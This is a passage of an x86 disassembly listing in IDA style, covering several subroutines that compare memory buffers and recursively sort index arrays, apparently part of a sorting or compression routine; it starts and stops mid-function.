mov cl, [eax+1]
shl ecx, 10h
or edx, ecx
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax+2]
shl ecx, 8
or edx, ecx
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax+3]
or edx, ecx
mov [ebp+var_1C], edx
jmp short loc_48DB4A
; ---------------------------------------------------------------------------
loc_48DB39: ; CODE XREF: sub_48DA60+A4j
push 0
mov edx, [ebp+var_18]
push edx
mov ecx, [ebp+var_20]
call sub_48DA60
mov [ebp+var_1C], eax
loc_48DB4A: ; CODE XREF: sub_48DA60+D7j
mov eax, [ebp+var_1C]
jmp short loc_48DBA1
; ---------------------------------------------------------------------------
loc_48DB4F: ; CODE XREF: sub_48DA60+Dj
mov [ebp+var_4], 0
mov [ebp+var_8], 0
jmp short loc_48DB68
; ---------------------------------------------------------------------------
loc_48DB5F: ; CODE XREF: sub_48DA60:loc_48DB9Cj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_48DB68: ; CODE XREF: sub_48DA60+FDj
cmp [ebp+var_8], 4
jge short loc_48DB9E
mov ecx, [ebp+var_4]
shl ecx, 8
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
or ecx, eax
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+arg_0]
cmp eax, [edx+4]
jb short loc_48DB9C
mov ecx, [ebp+var_20]
mov edx, [ecx]
mov [ebp+arg_0], edx
loc_48DB9C: ; CODE XREF: sub_48DA60+132j
jmp short loc_48DB5F
; ---------------------------------------------------------------------------
loc_48DB9E: ; CODE XREF: sub_48DA60+10Cj
mov eax, [ebp+var_4]
loc_48DBA1: ; CODE XREF: sub_48DA60+8Dj
; sub_48DA60+EDj
mov esp, ebp
pop ebp
retn 8
sub_48DA60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_48DBA7(void *Buf1,void *Buf2)
sub_48DBA7 proc near ; CODE XREF: .text:0048DCDCp
; sub_48E26C+46p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Buf1 = dword ptr 8
Buf2 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_14], ecx
mov eax, [ebp+Buf1]
mov [ebp+var_C], eax
mov ecx, [ebp+Buf1]
cmp [ebp+Buf2], ecx
sbb edx, edx
neg edx
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_8]
and eax, 0FFh
test eax, eax
jz short loc_48DBE1
mov ecx, [ebp+Buf1]
mov [ebp+var_10], ecx
mov edx, [ebp+Buf2]
mov [ebp+Buf1], edx
mov eax, [ebp+var_10]
mov [ebp+Buf2], eax
loc_48DBE1: ; CODE XREF: sub_48DBA7+26j
mov ecx, [ebp+var_14]
mov edx, [ecx+4]
sub edx, [ebp+Buf2]
push edx ; Size
mov eax, [ebp+Buf2]
push eax ; Buf2
mov ecx, [ebp+Buf1]
push ecx ; Buf1
call _memcmp_0
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_48DC3A
mov edx, [ebp+var_14]
mov eax, [edx+4]
sub eax, [ebp+Buf2]
mov ecx, [ebp+Buf1]
add ecx, eax
mov [ebp+Buf1], ecx
mov edx, [ebp+var_14]
mov eax, [edx]
mov [ebp+Buf2], eax
mov ecx, [ebp+var_14]
mov edx, [ecx+4]
sub edx, [ebp+Buf1]
push edx ; Size
mov eax, [ebp+Buf2]
push eax ; Buf2
mov ecx, [ebp+Buf1]
push ecx ; Buf1
call _memcmp_0
add esp, 0Ch
mov [ebp+var_4], eax
loc_48DC3A: ; CODE XREF: sub_48DBA7+5Bj
cmp [ebp+var_4], 0
jnz short loc_48DC73
mov edx, [ebp+var_14]
mov eax, [edx+4]
sub eax, [ebp+Buf1]
mov ecx, [ebp+Buf2]
add ecx, eax
mov [ebp+Buf2], ecx
mov edx, [ebp+var_14]
mov eax, [edx]
mov [ebp+Buf1], eax
mov ecx, [ebp+var_C]
sub ecx, [ebp+Buf1]
push ecx ; Size
mov edx, [ebp+Buf2]
push edx ; Buf2
mov eax, [ebp+Buf1]
push eax ; Buf1
call _memcmp_0
add esp, 0Ch
mov [ebp+var_4], eax
loc_48DC73: ; CODE XREF: sub_48DBA7+97j
mov ecx, [ebp+var_8]
and ecx, 0FFh
test ecx, ecx
jz short loc_48DC87
mov eax, [ebp+var_4]
neg eax
jmp short loc_48DC8A
; ---------------------------------------------------------------------------
loc_48DC87: ; CODE XREF: sub_48DBA7+D7j
mov eax, [ebp+var_4]
loc_48DC8A: ; CODE XREF: sub_48DBA7+DEj
mov esp, ebp
pop ebp
retn 8
sub_48DBA7 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp-0Ch], ecx
mov eax, [ebp-0Ch]
mov ecx, [eax+18h]
mov edx, [ebp+8]
mov eax, [ecx+edx*4]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+18h]
mov eax, [ebp+0Ch]
mov ecx, [edx+eax*4]
mov [ebp-4], ecx
mov edx, [ebp-8]
cmp edx, [ebp-4]
jnz short loc_48DCE3
mov eax, [ebp-0Ch]
mov ecx, [eax+0Ch]
mov edx, [ebp+0Ch]
mov eax, [ecx+edx*4]
push eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0Ch]
mov eax, [ebp+8]
mov ecx, [edx+eax*4]
push ecx
mov ecx, [ebp-0Ch]
call sub_48DBA7
jmp short loc_48DCF5
; ---------------------------------------------------------------------------
loc_48DCE3: ; CODE XREF: .text:0048DCBDj
mov edx, [ebp-8]
cmp edx, [ebp-4]
jbe short loc_48DCF2
mov eax, 1
jmp short loc_48DCF5
; ---------------------------------------------------------------------------
loc_48DCF2: ; CODE XREF: .text:0048DCE9j
or eax, 0FFFFFFFFh
loc_48DCF5: ; CODE XREF: .text:0048DCE1j
; .text:0048DCF0j
mov esp, ebp
pop ebp
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48DCFB proc near ; CODE XREF: sub_48DCFB+543p
; sub_48DCFB+565p ...
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0A8h
push esi
mov [ebp+var_A8], ecx
mov eax, [ebp+arg_0]
add eax, 2
cmp eax, [ebp+arg_4]
jnz loc_48DDC9
mov ecx, [ebp+var_A8]
mov edx, [ecx+18h]
mov eax, [ebp+var_A8]
mov ecx, [eax+18h]
mov eax, [ebp+arg_0]
mov esi, [ebp+arg_0]
mov edx, [edx+eax*4]
cmp edx, [ecx+esi*4+4]
jbe loc_48DDC4
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+var_2C], eax
mov ecx, [ebp+var_A8]
mov edx, [ecx+0Ch]
mov eax, [ebp+arg_0]
lea ecx, [edx+eax*4]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_A8]
mov eax, [edx+0Ch]
mov ecx, [ebp+var_2C]
lea edx, [eax+ecx*4]
mov [ebp+var_20], edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
mov [ebp+var_24], ecx
mov edx, [ebp+var_1C]
mov eax, [ebp+var_20]
mov ecx, [eax]
mov [edx], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_24]
mov [edx], eax
mov ecx, [ebp+var_A8]
mov edx, [ecx+18h]
mov eax, [ebp+arg_0]
lea ecx, [edx+eax*4]
mov [ebp+var_14], ecx
mov edx, [ebp+var_A8]
mov eax, [edx+18h]
mov ecx, [ebp+var_2C]
lea edx, [eax+ecx*4]
mov [ebp+var_18], edx
mov eax, [ebp+var_14]
mov ecx, [eax]
mov [ebp+var_28], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov ecx, [eax]
mov [edx], ecx
mov edx, [ebp+var_18]
mov eax, [ebp+var_28]
mov [edx], eax
loc_48DDC4: ; CODE XREF: sub_48DCFB+3Ej
jmp loc_48E265
; ---------------------------------------------------------------------------
loc_48DDC9: ; CODE XREF: sub_48DCFB+19j
mov ecx, [ebp+arg_0]
add ecx, 3
cmp ecx, [ebp+arg_4]
jnz loc_48DFEE
mov edx, [ebp+var_A8]
mov eax, [edx+18h]
mov ecx, [ebp+var_A8]
mov edx, [ecx+18h]
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_0]
mov eax, [eax+ecx*4]
cmp eax, [edx+esi*4+8]
jbe loc_48DE82
mov ecx, [ebp+arg_0]
add ecx, 2
mov [ebp+var_48], ecx
mov edx, [ebp+var_A8]
mov eax, [edx+0Ch]
mov ecx, [ebp+arg_0]
lea edx, [eax+ecx*4]
mov [ebp+var_38], edx
mov eax, [ebp+var_A8]
mov ecx, [eax+0Ch]
mov edx, [ebp+var_48]
lea eax, [ecx+edx*4]
mov [ebp+var_3C], eax
mov ecx, [ebp+var_38]
mov edx, [ecx]
mov [ebp+var_40], edx
mov eax, [ebp+var_38]
mov ecx, [ebp+var_3C]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_3C]
mov ecx, [ebp+var_40]
mov [eax], ecx
mov edx, [ebp+var_A8]
mov eax, [edx+18h]
mov ecx, [ebp+arg_0]
lea edx, [eax+ecx*4]
mov [ebp+var_30], edx
mov eax, [ebp+var_A8]
mov ecx, [eax+18h]
mov edx, [ebp+var_48]
lea eax, [ecx+edx*4]
mov [ebp+var_34], eax
mov ecx, [ebp+var_30]
mov edx, [ecx]
mov [ebp+var_44], edx
mov eax, [ebp+var_30]
mov ecx, [ebp+var_34]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_34]
mov ecx, [ebp+var_44]
mov [eax], ecx
loc_48DE82: ; CODE XREF: sub_48DCFB+FCj
mov edx, [ebp+var_A8]
mov eax, [edx+18h]
mov ecx, [ebp+var_A8]
mov edx, [ecx+18h]
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_0]
mov eax, [eax+ecx*4]
cmp eax, [edx+esi*4+4]
jbe loc_48DF31
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+var_64], ecx
mov edx, [ebp+var_A8]
mov eax, [edx+0Ch]
mov ecx, [ebp+arg_0]
lea edx, [eax+ecx*4]
mov [ebp+var_54], edx
mov eax, [ebp+var_A8]
mov ecx, [eax+0Ch]
mov edx, [ebp+var_64]
lea eax, [ecx+edx*4]
mov [ebp+var_58], eax
mov ecx, [ebp+var_54]
mov edx, [ecx]
mov [ebp+var_5C], edx
mov eax, [ebp+var_54]
mov ecx, [ebp+var_58]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_58]
mov ecx, [ebp+var_5C]
mov [eax], ecx
mov edx, [ebp+var_A8]
mov eax, [edx+18h]
mov ecx, [ebp+arg_0]
lea edx, [eax+ecx*4]
mov [ebp+var_4C], edx
mov eax, [ebp+var_A8]
mov ecx, [eax+18h]
mov edx, [ebp+var_64]
lea eax, [ecx+edx*4]
mov [ebp+var_50], eax
mov ecx, [ebp+var_4C]
mov edx, [ecx]
mov [ebp+var_60], edx
mov eax, [ebp+var_4C]
mov ecx, [ebp+var_50]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_50]
mov ecx, [ebp+var_60]
mov [eax], ecx
jmp loc_48DFEE
; ---------------------------------------------------------------------------
loc_48DF31: ; CODE XREF: sub_48DCFB+1A6j
mov edx, [ebp+var_A8]
mov eax, [edx+18h]
mov ecx, [ebp+var_A8]
mov edx, [ecx+18h]
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_0]
mov eax, [eax+ecx*4+4]
cmp eax, [edx+esi*4+8]
jbe loc_48DFEE
mov ecx, [ebp+arg_0]
add ecx, 2
mov [ebp+var_84], ecx
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+var_80], edx
mov eax, [ebp+var_A8]
mov ecx, [eax+0Ch]
mov edx, [ebp+var_80]
lea eax, [ecx+edx*4]
mov [ebp+var_70], eax
mov ecx, [ebp+var_A8]
mov edx, [ecx+0Ch]
mov eax, [ebp+var_84]
lea ecx, [edx+eax*4]
mov [ebp+var_74], ecx
mov edx, [ebp+var_70]
mov eax, [edx]
mov [ebp+var_78], eax
mov ecx, [ebp+var_70]
mov edx, [ebp+var_74]
mov eax, [edx]
mov [ecx], eax
mov ecx, [ebp+var_74]
mov edx, [ebp+var_78]
mov [ecx], edx
mov eax, [ebp+var_A8]
mov ecx, [eax+18h]
mov edx, [ebp+var_80]
lea eax, [ecx+edx*4]
mov [ebp+var_68], eax
mov ecx, [ebp+var_A8]
mov edx, [ecx+18h]
mov eax, [ebp+var_84]
lea ecx, [edx+eax*4]
mov [ebp+var_6C], ecx
mov edx, [ebp+var_68]
mov eax, [edx]
mov [ebp+var_7C], eax
mov ecx, [ebp+var_68]
mov edx, [ebp+var_6C]
mov eax, [edx]
mov [ecx], eax
mov ecx, [ebp+var_6C]
mov edx, [ebp+var_7C]
mov [ecx], edx
loc_48DFEE: ; CODE XREF: sub_48DCFB+D7j
; sub_48DCFB+231j ...
mov eax, [ebp+var_A8]
mov ecx, [eax+18h]
mov edx, [ebp+arg_0]
lea eax, [ecx+edx*4]
mov [ebp+var_8], eax
mov ecx, [ebp+var_A8]
mov edx, [ecx+18h]
mov eax, [ebp+arg_4]
lea ecx, [edx+eax*4]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_10], eax
mov ecx, [ebp+var_8]
add ecx, 4
mov [ebp+var_8], ecx
loc_48E023: ; CODE XREF: sub_48DCFB+34Dj
mov edx, [ebp+var_8]
cmp edx, [ebp+var_C]
jnb short loc_48E04A
mov eax, [ebp+var_8]
mov ecx, [eax]
cmp ecx, [ebp+var_10]
jnb short loc_48E037
jmp short loc_48E04A
; ---------------------------------------------------------------------------
loc_48E037: ; CODE XREF: sub_48DCFB+338j
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_10], eax
mov ecx, [ebp+var_8]
add ecx, 4
mov [ebp+var_8], ecx
jmp short loc_48E023
; ---------------------------------------------------------------------------
loc_48E04A: ; CODE XREF: sub_48DCFB+32Ej
; sub_48DCFB+33Aj
mov edx, [ebp+var_8]
cmp edx, [ebp+var_C]
jnz short loc_48E057
jmp loc_48E265
; ---------------------------------------------------------------------------
loc_48E057: ; CODE XREF: sub_48DCFB+355j
mov eax, [ebp+var_A8]
mov ecx, [eax+18h]
mov edx, [ebp+arg_0]
lea eax, [ecx+edx*4]
mov [ebp+var_8], eax
mov ecx, [ebp+var_A8]
mov edx, [ecx+18h]
mov eax, [ebp+arg_4]
lea ecx, [edx+eax*4-4]
mov [ebp+var_C], ecx
loc_48E07C: ; CODE XREF: sub_48DCFB:loc_48E1CBj
mov edx, 1
test edx, edx
jz loc_48E1D0
loc_48E089: ; CODE XREF: sub_48DCFB+3ABj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_48E0A8
mov ecx, [ebp+var_8]
mov edx, [ecx]
and edx, [ebp+arg_8]
test edx, edx
jnz short loc_48E0A8
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
jmp short loc_48E089
; ---------------------------------------------------------------------------
loc_48E0A8: ; CODE XREF: sub_48DCFB+394j
; sub_48DCFB+3A0j ...
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_8]
jbe short loc_48E0C7
mov edx, [ebp+var_C]
mov eax, [edx]
and eax, [ebp+arg_8]
test eax, eax
jz short loc_48E0C7
mov ecx, [ebp+var_C]
sub ecx, 4
mov [ebp+var_C], ecx
jmp short loc_48E0A8
; ---------------------------------------------------------------------------
loc_48E0C7: ; CODE XREF: sub_48DCFB+3B3j
; sub_48DCFB+3BFj
mov edx, [ebp+var_8]
cmp edx, [ebp+var_C]
jnb loc_48E1C9
mov eax, [ebp+var_A8]
mov ecx, [ebp+var_C]
sub ecx, [eax+18h]
sar ecx, 2
mov [ebp+var_A4], ecx
mov edx, [ebp+var_A8]
mov eax, [ebp+var_8]
sub eax, [edx+18h]
sar eax, 2
mov [ebp+var_A0], eax
mov ecx, [ebp+var_8]
add ecx, 4
mov [ebp+var_8], ecx
mov edx, [ebp+var_C]
sub edx, 4
mov [ebp+var_C], edx
mov eax, [ebp+var_A8]
mov ecx, [eax+0Ch]
mov edx, [ebp+var_A0]
lea eax, [ecx+edx*4]
mov [ebp+var_90], eax
mov ecx, [ebp+var_A8]
mov edx, [ecx+0Ch]
mov eax, [ebp+var_A4]
lea ecx, [edx+eax*4]
mov [ebp+var_94], ecx
mov edx, [ebp+var_90]
mov eax, [edx]
mov [ebp+var_98], eax
mov ecx, [ebp+var_90]
mov edx, [ebp+var_94]
mov eax, [edx]
mov [ecx], eax
mov ecx, [ebp+var_94]
mov edx, [ebp+var_98]
mov [ecx], edx
mov eax, [ebp+var_A8]
mov ecx, [eax+18h]
mov edx, [ebp+var_A0]
lea eax, [ecx+edx*4]
mov [ebp+var_88], eax
mov ecx, [ebp+var_A8]
mov edx, [ecx+18h]
mov eax, [ebp+var_A4]
lea ecx, [edx+eax*4]
mov [ebp+var_8C], ecx
mov edx, [ebp+var_88]
mov eax, [edx]
mov [ebp+var_9C], eax
mov ecx, [ebp+var_88]
mov edx, [ebp+var_8C]
mov eax, [edx]
mov [ecx], eax
mov ecx, [ebp+var_8C]
mov edx, [ebp+var_9C]
mov [ecx], edx
jmp short loc_48E1CB
; ---------------------------------------------------------------------------
loc_48E1C9: ; CODE XREF: sub_48DCFB+3D2j
jmp short loc_48E1D0
; ---------------------------------------------------------------------------
loc_48E1CB: ; CODE XREF: sub_48DCFB+4CCj
jmp loc_48E07C
; ---------------------------------------------------------------------------
loc_48E1D0: ; CODE XREF: sub_48DCFB+388j
; sub_48DCFB:loc_48E1C9j
mov eax, [ebp+var_A8]
mov ecx, [eax+18h]
mov edx, [ebp+arg_4]
lea eax, [ecx+edx*4]
mov [ebp+var_C], eax
loc_48E1E2: ; CODE XREF: sub_48DCFB+504j
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_C]
jnb short loc_48E201
mov edx, [ebp+var_8]
mov eax, [edx]
and eax, [ebp+arg_8]
test eax, eax
jnz short loc_48E201
mov ecx, [ebp+var_8]
add ecx, 4
mov [ebp+var_8], ecx
jmp short loc_48E1E2
; ---------------------------------------------------------------------------
loc_48E201: ; CODE XREF: sub_48DCFB+4EDj
; sub_48DCFB+4F9j
mov edx, [ebp+var_A8]
mov eax, [ebp+var_8]
sub eax, [edx+18h]
sar eax, 2
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
shr ecx, 1
mov [ebp+arg_8], ecx
cmp [ebp+arg_8], 0
jz short loc_48E265
mov edx, [ebp+arg_0]
add edx, 1
cmp edx, [ebp+var_4]
jnb short loc_48E243
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov ecx, [ebp+var_A8]
call sub_48DCFB
loc_48E243: ; CODE XREF: sub_48DCFB+52Fj
mov eax, [ebp+var_4]
add eax, 1
cmp eax, [ebp+arg_4]
jnb short loc_48E265
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_A8]
call sub_48DCFB
loc_48E265: ; CODE XREF: sub_48DCFB:loc_48DDC4j
; sub_48DCFB+357j ...
pop esi
mov esp, ebp
pop ebp
retn 0Ch
sub_48DCFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48E26C proc near ; CODE XREF: sub_48E26C+5D6p
; sub_48E26C+626p ...
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 9Ch
push esi
mov [ebp+var_9C], ecx
mov eax, [ebp+arg_0]
add eax, 2
cmp eax, [ebp+arg_4]
jnz loc_48E349
mov ecx, [ebp+var_9C]
mov edx, [ecx+0Ch]
mov eax, [ebp+arg_0]
mov ecx, [edx+eax*4+4]
push ecx ; Buf2
mov edx, [ebp+var_9C]
mov eax, [edx+0Ch]
mov ecx, [ebp+arg_0]
mov edx, [eax+ecx*4]
push edx ; Buf1
mov ecx, [ebp+var_9C]
call sub_48DBA7
test eax, eax
jle loc_48E344
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_9C]
mov edx, [ecx+0Ch]
mov eax, [ebp+arg_0]
lea ecx, [edx+eax*4]
mov [ebp+var_24], ecx
mov edx, [ebp+var_9C]
mov eax, [edx+0Ch]
mov ecx, [ebp+var_34]
lea edx, [eax+ecx*4]
mov [ebp+var_28], edx
mov eax, [ebp+var_24]
mov ecx, [eax]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_24]
mov eax, [ebp+var_28]
mov ecx, [eax]
mov [edx], ecx
mov edx, [ebp+var_28]
mov eax, [ebp+var_2C]
mov [edx], eax
mov ecx, [ebp+var_9C]
mov edx, [ecx+18h]
mov eax, [ebp+arg_0]
lea ecx, [edx+eax*4]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_9C]
mov eax, [edx+18h]
mov ecx, [ebp+var_34]
lea edx, [eax+ecx*4]
mov [ebp+var_20], edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
mov [ebp+var_30], ecx
mov edx, [ebp+var_1C]
mov eax, [ebp+var_20]
mov ecx, [eax]
mov [edx], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_30]
mov [edx], eax
loc_48E344: ; CODE XREF: sub_48E26C+4Dj
jmp loc_48E897
; ---------------------------------------------------------------------------
loc_48E349: ; CODE XREF: sub_48E26C+19j
mov ecx, [ebp+arg_0]
add ecx, 3
cmp ecx, [ebp+arg_4]
jnz loc_48E5AF
mov edx, [ebp+var_9C]
mov eax, [edx+0Ch]
mov ecx, [ebp+arg_0]
mov edx, [eax+ecx*4+8]
push edx ; Buf2
mov eax, [ebp+var_9C]
mov ecx, [eax+0Ch]
mov edx, [ebp+arg_0]
mov eax, [ecx+edx*4]
push eax ; Buf1
mov ecx, [ebp+var_9C]
call sub_48DBA7
test eax, eax
jle loc_48E411
mov ecx, [ebp+arg_0]
add ecx, 2
mov [ebp+var_50], ecx
mov edx, [ebp+var_9C]
mov eax, [edx+0Ch]
mov ecx, [ebp+arg_0]
lea edx, [eax+ecx*4]
mov [ebp+var_40], edx
mov eax, [ebp+var_9C]
mov ecx, [eax+0Ch]
mov edx, [ebp+var_50]
lea eax, [ecx+edx*4]
mov [ebp+var_44], eax
mov ecx, [ebp+var_40]
mov edx, [ecx]
mov [ebp+var_48], edx
mov eax, [ebp+var_40]
mov ecx, [ebp+var_44]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_44]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov edx, [ebp+var_9C]
mov eax, [edx+18h]
mov ecx, [ebp+arg_0]
lea edx, [eax+ecx*4]
mov [ebp+var_38], edx
mov eax, [ebp+var_9C]
mov ecx, [eax+18h]
mov edx, [ebp+var_50]
lea eax, [ecx+edx*4]
mov [ebp+var_3C], eax
mov ecx, [ebp+var_38]
mov edx, [ecx]
mov [ebp+var_4C], edx
mov eax, [ebp+var_38]
mov ecx, [ebp+var_3C]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_3C]
mov ecx, [ebp+var_4C]
mov [eax], ecx
loc_48E411: ; CODE XREF: sub_48E26C+11Aj
mov edx, [ebp+var_9C]
mov eax, [edx+0Ch]
mov ecx, [ebp+arg_0]
mov edx, [eax+ecx*4+4]
push edx ; Buf2
mov eax, [ebp+var_9C]
mov ecx, [eax+0Ch]
mov edx, [ebp+arg_0]
mov eax, [ecx+edx*4]
push eax ; Buf1
mov ecx, [ebp+var_9C]
call sub_48DBA7
test eax, eax
jle loc_48E4CF
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_9C]
mov eax, [edx+0Ch]
mov ecx, [ebp+arg_0]
lea edx, [eax+ecx*4]
mov [ebp+var_5C], edx
mov eax, [ebp+var_9C]
mov ecx, [eax+0Ch]
mov edx, [ebp+var_6C]
lea eax, [ecx+edx*4]
mov [ebp+var_60], eax
mov ecx, [ebp+var_5C]
mov edx, [ecx]
mov [ebp+var_64], edx
mov eax, [ebp+var_5C]
mov ecx, [ebp+var_60]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_60]
mov ecx, [ebp+var_64]
mov [eax], ecx
mov edx, [ebp+var_9C]
mov eax, [edx+18h]
mov ecx, [ebp+arg_0]
lea edx, [eax+ecx*4]
mov [ebp+var_54], edx
mov eax, [ebp+var_9C]
mov ecx, [eax+18h]
mov edx, [ebp+var_6C]
lea eax, [ecx+edx*4]
mov [ebp+var_58], eax
mov ecx, [ebp+var_54]
mov edx, [ecx]
mov [ebp+var_68], edx
mov eax, [ebp+var_54]
mov ecx, [ebp+var_58]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_58]
mov ecx, [ebp+var_68]
mov [eax], ecx
jmp loc_48E5AA
; ---------------------------------------------------------------------------
loc_48E4CF: ; CODE XREF: sub_48E26C+1D3j
mov edx, [ebp+var_9C]
mov eax, [edx+0Ch]
mov ecx, [ebp+arg_0]
mov edx, [eax+ecx*4+8]
push edx ; Buf2
mov eax, [ebp+var_9C]
mov ecx, [eax+0Ch]
mov edx, [ebp+arg_0]
mov eax, [ecx+edx*4+4]
push eax ; Buf1
mov ecx, [ebp+var_9C]
call sub_48DBA7
test eax, eax
jle loc_48E5AA
mov ecx, [ebp+arg_0]
add ecx, 2
mov [ebp+var_8C], ecx
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+var_88], edx
mov eax, [ebp+var_9C]
mov ecx, [eax+0Ch]
mov edx, [ebp+var_88]
lea eax, [ecx+edx*4]
mov [ebp+var_78], eax
mov ecx, [ebp+var_9C]
mov edx, [ecx+0Ch]
mov eax, [ebp+var_8C]
lea ecx, [edx+eax*4]
mov [ebp+var_7C], ecx
mov edx, [ebp+var_78]
mov eax, [edx]
mov [ebp+var_80], eax
mov ecx, [ebp+var_78]
mov edx, [ebp+var_7C]
mov eax, [edx]
mov [ecx], eax
mov ecx, [ebp+var_7C]
mov edx, [ebp+var_80]
mov [ecx], edx
mov eax, [ebp+var_9C]
mov ecx, [eax+18h]
mov edx, [ebp+var_88]
lea eax, [ecx+edx*4]
mov [ebp+var_70], eax
mov ecx, [ebp+var_9C]
mov edx, [ecx+18h]
mov eax, [ebp+var_8C]
lea ecx, [edx+eax*4]
mov [ebp+var_74], ecx
mov edx, [ebp+var_70]
mov eax, [edx]
mov [ebp+var_84], eax
mov ecx, [ebp+var_70]
mov edx, [ebp+var_74]
mov eax, [edx]
mov [ecx], eax
mov ecx, [ebp+var_74]
mov edx, [ebp+var_84]
mov [ecx], edx
loc_48E5AA: ; CODE XREF: sub_48E26C+25Ej
; sub_48E26C+292j
jmp loc_48E897
; ---------------------------------------------------------------------------
loc_48E5AF: ; CODE XREF: sub_48E26C+E6j
cmp [ebp+arg_8], 0
jz loc_48E68A
loc_48E5B9: ; CODE XREF: sub_48E26C+414j
mov eax, 1
test eax, eax
jz loc_48E685
mov ecx, [ebp+var_9C]
mov edx, [ecx+18h]
